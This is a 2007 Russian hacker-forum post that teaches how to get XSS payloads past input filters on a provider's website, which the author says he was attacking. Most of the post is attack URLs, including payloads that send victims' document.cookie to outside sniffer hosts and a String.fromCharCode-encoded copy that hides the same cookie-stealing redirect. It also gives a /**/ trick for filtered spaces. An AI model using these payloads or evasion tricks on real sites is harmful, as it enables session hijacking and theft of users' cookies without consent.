Обход фильтрации при XSS

Тема в разделе "Статьи", создана пользователем Хел, 13 авг 2007.

  1. Хел
    Хел Guest
    [ Обход фильтрации при XSS ]

    [ INTRO ]

    Доброго времени суток! Сегодня я хочу рассказать о методах обхода фильтра в уязвимости типа XSS. На днях мне попался один сайт (не буду упоминать его имя в определенных целях) с уязвимостью:
    Код:
     http://www.site.kz/rus/home/admin.php?counter1=КОД_СКРИПТА
    
    Как ты видишь, здесь я нашел уязвимый скрипт, в котором возможен межсайтовый скриптинг. Оговорюсь, что сайт принадлежит провайдеру и как мы его ломали с f0rd'ом (при удачном исходе) я расскажу позже. Итак, я попробовал составить следующий запрос:
    Код:
     http://www.site.kz/rus/home/admin.php?counter1=<script>alert()</script>
    
    Он успешно выполнился, но при следующих запросах меня посылали нафиг:
    Код:
     http://www.site.kz/rus/home/admin.php?counter1=<script>location.href="http://site/snif.php"%2Bdocument.cookie</script>
    Код:
     http://www.site.kz/rus/home/admin.php?counter1=<script>alert('XSS')</script>
    Но следующий запрос выполнился:
    Код:
     http://www.site.kz/rus/home/admin.php?counter1=<script>alert(222)</script>
    Как видим из кода, происходит фильтрация входящих параметров на символы кроме цифр. Что делать в этой ситуации, спросишь ты? Если ты читал статьи по обходу подводных камней в SQL инъекциях, то в твоей голове возможно мелькнула идея перевода строки в ASCII представление. Это так, и делается следующим путем:
    Код:
     http://www.site.kz/rus/home/admin.php?counter1=<script>alert(String.fromCharCode())</script>
    Внутри функции String.fromCharCode() указываем коды символов через запятую, например:
    Код:
     http://www.site.kz/rus/home/admin.php?counter1=<script>alert(String.fromCharCode(72,101,108,107,101,114,110))</script>
    выведет в окошечке браузера слово "Helkern". Также благодаря этому способу я обошел фильтрацию входящих символов на сайте провайдера, составив следующий ядовитый запрос:
    Код:
     http://www.site.kz/rus/home/admin.php?counter1=<script>location.href=String.fromCharCode(104,116,116,112,58,47,47,99,99,108,46,119,104,105,116,101,97,99,105,100,46,111,114,103,47,108,111,103,46,112,104,112,63,49,53,57,52,53,48,34,37,50,66,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101)</script>
    Если перевести его в обычный запрос то это будет пресловутый переход на сниффер:
    Код:
     http://www.site.kz/rus/home/admin.php?counter1=<script>location.href="http://ccl.whiteacid.org/log.php?159450"%2Bdocument.cookie</script>
    Таким образом вся фильтрация программистов сводится на нет.

    Еще один финт - это замена фильтруемого пробела последовательностью /**/.

    [ OUTRO ]

    Если есть проблема с переводом символов в кодовое представление, то обращайтесь в ПМ или аську - помогу.

    (c) Helkern
    http://Xaker.Name
    ​
     
    Последнее редактирование модератором: 16 сен 2007
    13 авг 2007
    2 пользователям это понравилось.
Загрузка...